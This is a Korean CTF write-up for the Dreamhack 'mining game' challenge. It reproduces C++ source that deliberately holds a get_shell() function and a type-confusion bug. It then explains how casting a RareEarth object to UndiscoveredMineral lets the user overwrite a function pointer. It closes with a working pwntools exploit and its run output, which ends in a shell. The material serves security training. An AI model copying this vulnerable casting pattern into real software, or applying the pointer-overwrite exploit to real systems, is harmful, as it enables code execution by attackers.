[dreamhack] mining game writeup

1. 문제

thumbnail
mining game

희귀한 광물을 채굴할 수 있는 게임이 출시되었습니다.
프로그램에 존재하는 취약점으로 플래그를 획득해보세요!

https://dreamhack.io/wargame/challenges/481

2. 풀이


#include <iostream>
#include <vector>
#include <string>
#include <random>
#include <chrono>
#include <thread>
#include <csignal>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include <unistd.h>

#define CMD_MINING                  1
#define CMD_SHOW_MINERAL_BOOK       2
#define CMD_EDIT_MINERAL_BOOK       3
#define CMD_EXIT                    4

#define MAX_DESCRIPTION_SIZE 0x10

typedef void (*DESC_FUNC)(void);

/* Initialization */

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void __attribute__((constructor)) initialize(void)
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(60);
}

/* Print functions */

void print_banner()
{
    std::cout << "I love minerals!" << std::endl;
}

void print_menu()
{
    std::cout << std::endl << "[Menu]" << std::endl;
    std::cout << "1. Mining" << std::endl;
    std::cout << "2. Show mineral book" << std::endl;
    std::cout << "3. Edit mineral book" << std::endl;
    std::cout << "4. Exit program" << std::endl;
}

void print_scandium_description()
{
    std::cout << "Name        : Scandium" << std::endl;
    std::cout << "Symbol      : Sc" << std::endl;
    std::cout << "Description : A silvery-white metallic d-block element" << std::endl;
}

void print_yttrium_description()
{
    std::cout << "Name        : Yttrium" << std::endl;
    std::cout << "Symbol      : Y" << std::endl;
    std::cout << "Description : A silvery-metallic transition metal chemically similar to the lanthanides" << std::endl;
}

void print_lanthanum_description()
{
    std::cout << "Name        : Lanthanum" << std::endl;
    std::cout << "Symbol      : La" << std::endl;
    std::cout << "Description : A soft, ductile, silvery-white metal that tarnishes slowly when exposed to air" << std::endl;
}

void print_cerium_description()
{
    std::cout << "Name        : Cerium" << std::endl;
    std::cout << "Symbol      : Ce" << std::endl;
    std::cout << "Description : A soft, ductile, and silvery-white metal that tarnishes when exposed to air" << std::endl;
}

void print_praseodymium_description()
{
    std::cout << "Name        : Praseodymium" << std::endl;
    std::cout << "Symbol      : Pr" << std::endl;
    std::cout << "Description : A soft, silvery, malleable and ductile metal, valued for its magnetic, electrical, chemical, and optical properties" << std::endl;
}

std::vector<DESC_FUNC> rare_earth_description_funcs = {
    print_scandium_description,
    print_yttrium_description,
    print_lanthanum_description,
    print_cerium_description,
    print_praseodymium_description
};

/* Utils */

int get_int(const char* prompt = ">> ")
{
    std::cout << prompt;

    int x;
    std::cin >> x;
    return x;
}

std::string get_string(const char* prompt = ">> ")
{
    std::cout << prompt;

    std::string x;
    std::cin >> x;
    return x;
}

int get_rand_int(int start, int end)
{
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<int> dis(start, end);

    return dis(gen);
}

/* Classes */

class Mineral 
{
public:
    virtual void print_description() const = 0;
};

class UndiscoveredMineral : public Mineral
{
public:
    UndiscoveredMineral(std::string description_)
    {
        strncpy(description, description_.c_str(), MAX_DESCRIPTION_SIZE);
    }

    void print_description() const override 
    {
        std::cout << "Name        : Unknown" << std::endl;
        std::cout << "Symbol      : Un" << std::endl;
        std::cout << "Description : " << description << std::endl;
    }

    char description[MAX_DESCRIPTION_SIZE];
};

class RareEarth : public Mineral
{
public:
    RareEarth(DESC_FUNC description_)
    : description(description_)
    {

    }

    void print_description() const override 
    {
        if ( description )
            description();
    }

    DESC_FUNC description;   
};

/* Action functions */

std::vector<Mineral *> minerals;

void mining()
{
    std::cout << "[+] Mining..." << std::endl;
    std::this_thread::sleep_for(std::chrono::milliseconds(get_rand_int(100, 1000)));

    if ( get_rand_int(1, 100) <= 50 )
    {
        std::cout << "[+] Congratulations! you found an *undiscovered* mineral!" << std::endl;
        
        std::string description = get_string("Please enter mineral's description : ");
        minerals.push_back(new UndiscoveredMineral(description));
    }

    else if ( get_rand_int(1, 100) <= 5 )
    {
        std::cout << "[+] You found a rare-earth element!" << std::endl;
        
        DESC_FUNC description = rare_earth_description_funcs[get_rand_int(0, rare_earth_description_funcs.size() - 1)];
        minerals.push_back(new RareEarth(description));
        minerals.back()->print_description();
    }

    else {
        std::cout << "[!] Found nothing" << std::endl;
    }
        
    return;
}

void edit_mineral_book()
{
    int index = get_int("[?] Index : ");

    if ( index < 0 || index >= minerals.size() )
    {
        std::cout << "[!] Invalid index" << std::endl;
        return;
    }

    std::string description = get_string("Please enter mineral's description : ");
    strncpy(
        static_cast<UndiscoveredMineral*>(minerals[index])->description,
        description.c_str(),
        MAX_DESCRIPTION_SIZE
    );
}

void show_mineral_book()
{
    for ( int index = 0; index < minerals.size(); index++ )
    {
        std::cout << "--------------------" << std::endl;
        std::cout << "Index       : " << index << std::endl;
        minerals[index]->print_description();
    }

    std::cout << std::endl;
}

/* Main function */

int main(){
    print_banner();

    while(1){
        print_menu();

        int selector = get_int();

        switch (selector){
            case CMD_MINING:
                mining();
                break;

            case CMD_SHOW_MINERAL_BOOK:
                show_mineral_book();
                break;

            case CMD_EDIT_MINERAL_BOOK:
                edit_mineral_book();
                break;

            case CMD_EXIT:
                return 0;

            default:
                std::cout << "[!] You select wrong number!" << std::endl;
                break;
        }
    }
    return 0;    
}

뭔가 코드가 길지만 정리하면 아래와 같다.

  • ⁣1. 광물을 캔다.
    • undiscovered 광물을 캐면 문자열로 description을 입력한다.
    • rare 광물을 캐면 print_description 함수가 실행되면서 사전에 정의된 내용이 들어간다.
  • ⁣2. 캔 광물에 대해 출력한다.
  • ⁣3. 캔 광물에 대한 description을 수정한다.

예전에 풀었던 cpp casting 문제와 비슷했다.

undiscovered mineral일때는 description을 직접 문자열로 입력하지만 rare mineral일때는 print_description 함수가 실행되도록 되어있다.

그런데 edit을 할때 rare mineralundiscovered mineral의 형태로 casting하고 description을 직접 입력해서 strncpy를 통해 수정할 수 있다.

이때 descriptionget_shell함수의 주소를 넣어주고, show를 하면 print_description함수가 동작하게 되면서 get_shell함수가 실행된다.

exploit과 결과는 아래와 같다.

from pwn import *

p = process("./main")
p = remote("host8.dreamhack.games", 14974)

get_shell = 0x40257a

ind = 0
while 1:
    p.sendlineafter(b">> ", b"1")
    p.recvline()    # mining
    tmp = p.recvline()
    print(tmp)
    if b"undiscovered" in tmp:
        p.sendlineafter(b": ", b"1")
        print("no")
        ind += 1
    elif b"rare" in tmp:
        print("found!")
        break
    else:
        continue

p.sendlineafter(b">> ", b"3")
p.sendlineafter(b"Index : ", str(ind))
p.sendlineafter(b"description : ", p64(get_shell))


p.sendlineafter(b">> ", b"2")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/mining_game$ python3 e_mining_game.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/ubuntu/.cache/.pwntools-cache-3.12/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.14.1)
[+] Starting local process './main': pid 3161013
b'[!] Found nothing\n'
b'[!] Found nothing\n'
b'[+] Congratulations! you found an *undiscovered* mineral!\n'
no

(중략)

b'[+] You found a rare-earth element!\n'
found!
/home/ubuntu/dreamhack/level3/mining_game/e_mining_game.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"Index : ", str(ind))
[*] Switching to interactive mode
--------------------
Index       : 0
Name        : Unknown
Symbol      : Un
Description : 1
--------------------

(중략)

--------------------
Index       : 29
Name        : Unknown
Symbol      : Un
Description : 1
--------------------
Index       : 30
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

문제라면 timeout이 걸려있는데 그전까지 rare mineral이 안나오면 그냥 실패한다는 것…

5% 확률이니까 빨리 나와주길 비는 수 밖에 없다.


해결~